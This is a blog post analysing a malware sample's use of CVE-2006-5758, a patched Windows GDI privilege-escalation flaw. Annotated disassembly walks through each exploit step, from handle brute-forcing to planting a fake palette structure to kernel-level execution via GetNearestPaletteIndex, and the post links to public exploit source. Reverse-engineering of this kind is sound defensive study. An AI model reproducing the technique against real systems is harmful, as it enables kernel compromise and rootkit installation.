ZaiRoN

CVE-2006-5758: better late than ever

Rate this Entry
I put my hands on a malware linked from one of the online malware repositories (md5: 57127815d6864a495151e49c7bf7d192). From a quick glance at it I had the impression it’s an interesting malware to play with. It’s recognizable by almost all the antivirus products out there, and to have an idea about what it does I read some technical descriptions from some random antivirus pages.
In this post I won’t describe what the malicious file does, but I’ll spend few words on a specific behaviour only: CVE-2006-5758. I didn’t check all the sites, but seems like no one is reporting information about the exploit used inside this malware. It tries to exploit a GDI Local Elevation of Privilege vulnerability, patched on April 2007 (MS07-017); yes, more than one year and a half old. From what I have seen there’s only one article on the web talking about this malicious file, it’s available here http://cyberinsecure.com/malware-uses-gdi-local-elevation-of-privilege-vulnerability-to-install-untraceable-rootkit/ .
The article doesn’t refer to a specific malware, and I don’t know if I have the same file, but the quick description reveals almost the same characteristics of the file I’m working on:
After remapping the memory, the malware will initialize a CPalette object. It will then search for the palette object in the shared kernel memory structure. Since the memory is now writable, it can be altered to include a pointer to a special function that will remove any existing SST hooks. Finally, a call to GetNearestPaletteIndex will indirectly cause the function to be executed. Afterwards, the palette object is restored leaving no trace of the attack.“.
I’ll use this comment to guide you through the post.

I wasn’t able to identify the packer used to protect the malware, it’s not such a problem indeed because the exe file is debug-able and it’s not hard to step through the code. You can try rebuilding the file, but in general I prefer to work on untouched files so my best choice it’s a simple dump. After that, in order to view all runtime retrieved functions I use my Ida plugin named Reveal Imports. In this way you can easily navigate through the disasmed file. Looking at the revealed imports I noticed some weird functions:



Quite unusual functions for a malware. The first thing to do is to check if they are used or not. These functions are called by the malware, and now I have to understand why. From my non professional experience with malwares in general, I know that most of the time the unusual code you see inside a malware comes from a source code available online. Google is a good friend, and a simple search reveals something interesting at http://www.milw0rm.com/exploits/3755 .
It’s the source code of the exploit that is used inside the malware (not the source of the malware!). I think it’s quite useful for newbies to disasm a routine having an eye on the source code, this malware represents a good exercize.


After remapping the memory…
The *exploit* routine starts at 40293E, and there’s an interesting loop at the beginning of the routine:
Code:
40296C search_right_handle:
40296C    cmp  [ebp+hFileMappingObject], 0FFFFh   ; hFileMappingObject is initially 0
402973    jnb  short loc_4029C1
402975    xor  eax, eax
402977    mov  [ebp+var_28], eax
40297A    push eax                             ; dwNumberOfBytesToMap
40297B    push eax                             ; dwFileOffsetLow
40297C    push eax                             ; dwFileOffsetHigh
40297D    push FILE_MAP_ALL_ACCESS             ; dwDesiredAccess
402982    push [ebp+hFileMappingObject]        ; hFileMappingObject
402985    call ds:MapViewOfFile
40298B    mov  [ebp+lpBaseAddress], eax
40298E    test eax, eax
402990    jz   short MapView_fails
402992    lea  ecx, [ebp+var_2C]
402995    push 0                          ; ResultLength
402997    push 10h                        ; SectionInformationLength
402999    push ecx                        ; SectionInformation
40299A    push 0                          ; SectionInformationClass
40299C    push [ebp+hFileMappingObject]   ; SectionHandle
40299F    call NtQuerySection             ; Retrieves information about the section object
4029A5    cmp  [ebp+var_28], SEC_COMMIT
4029AC    jz   short section_found
4029AE    push [ebp+lpBaseAddress]        ; lpBaseAddress
4029B1    call ds:UnmapViewOfFile         ; Wrong handle, unmap!
4029B7    xor  eax, eax
4029B9    mov  [ebp+lpBaseAddress], eax
4029BC
4029BC MapView_fails:
4029BC    inc  [ebp+hFileMappingObject]   ; Increments hFileMappingObject
4029BF    jmp  short search_right_handle
It repeatedly calls MapViewOfFile function using handle from 0 to 0xFFFF. If it finds the right handle it goes on with the rest of the code. As you can see from the snippet the malware restores the state of a wrong mapped view calling UnMapViewOfFile. That’s because it needs one and only one specific kind of section. It’s the first important step to complete.
On my XP machine the malware locates the right mapped view at 0xC30000, if you look at Ollydbg’s “Memory map” window you’ll see it only after MapViewOfFile was called; you should know why.

…the malware will initialize a CPalette object…
Code:
4029CC call RtlAllocateHeap_bridge   ; Allocates memory space
4029D1 test eax, eax
4029D3 jz   loc_402AA4
4029D9 mov  [ebp+var_14], eax
4029DC mov  word ptr [eax+2], 1    ; palNumEntries
4029E2 mov  word ptr [eax], 300h   ; palVersion
4029E7 push eax                    ; Logical palette
4029E8 call CreatePalette          ; Creates a logical palette
Pretty easy to understand.


…It will then search for the palette object in the shared memory structure…
The mapped view is then used by the malware inside a new loop. The malware looks for a PGDI_TABLE_ENTRY through the new memory space:
Code:
402A04 search_object:
402A04    mov  eax, [ebp+lpBaseAddress]
402A07    add  eax, [ebp+var_24]
402A0A    cmp  [ebp+GDI_Structure], eax         ; Is it inside the mapped memory?
402A0D    jnb  short loc_402A37
402A0F    mov  eax, [ebp+GDI_Structure]
402A12    xor  ecx, ecx
402A14    mov  cx, [eax+4]
402A18    mov  edx, [ebp+Pid]                   ; pGdiEntry->ProcessID
402A1B    cmp  ecx, edx
402A1D    jnz  short try_next_structure
402A1F    xor  ecx, ecx
402A21    mov  cx, [eax+0Ah]                    ; pGdiEntry->nType
402A25    cmp  ecx, 8                           ; PAL_TYPE
402A28    jnz  short try_next_structure
402A2A    mov  eax, [eax]                       ; pGdiEntry->pKernelInfo
402A2C    mov  [ebp+original_KernelInfo], eax   ; Saves the original value
402A2F    jmp  short loc_402A37
402A31 try_next_structure:
402A31    add  [ebp+GDI_Structure], 10h         ; Moves on the next structure to check
402A35    jmp  short search_object
It saves the original value of KernleInfo field which contains a pointer to something stored at ring0. You can imagine why it’s saving that value.. it will replace the address with something else for sure.


…it can be altered to include a pointer to a special function…
Code:
402A3E call _RtlAllocateHeap_bridge
   ...
402A4E push [ebp+hO]
402A51 pop  dword ptr [eax]              ; Stores handle obtained calling CreatePalette
402A53 mov  dword ptr [eax+14h], 1
402A5A push [ebp+hook_hidden_function]   ; push 402AC0
402A5D pop  dword ptr [eax+3Ch]          ; Stores the real function to call
   ...
402A6B mov  eax, [ebp+GDI_Structure]     ; Address of the original structure to replace
402A6E push [ebp+fake_structure]         ; Push the fake structure address
402A71 pop  dword ptr [eax]              ; To tamper!
It replaces the original data with something else. It’s more or less always the same trick, you exchange the old value with a new preferred one!


…Finally, a call to GetNearestPaletteIndex will indirectly cause the function to be executed…
The next call to GetNearestPaletteIndex will call what I have named hook_hidden_function, the hidden dangerous routine. To understand how the trick works you have to look inside win32k.sys, here’s part of GetNearestPaletteIndex:
Code:
00402A73 push 0
00402A75 push [ebp+hO]
00402A78 call GetNearestPaletteIndex
   ...
BF94B4AF mov  esi, [ebp+8]          ; esi -> fake structure created between 402A4E and 402A6E
   ...
BF94B4E0 call dword ptr [esi+3Ch]   ; esi+3C points to hook_hidden_function!!!
The malware will call the hidden function, you ignore it until you’ll realize that the machine is compromised. Nice trick indeed.
The malware seems to have some more interesting features, I hope to write something else about it in the next days.

Submit "CVE-2006-5758: better late than ever" to Digg Submit "CVE-2006-5758: better late than ever" to del.icio.us Submit "CVE-2006-5758: better late than ever" to StumbleUpon Submit "CVE-2006-5758: better late than ever" to Google

Categories
Uncategorized

Comments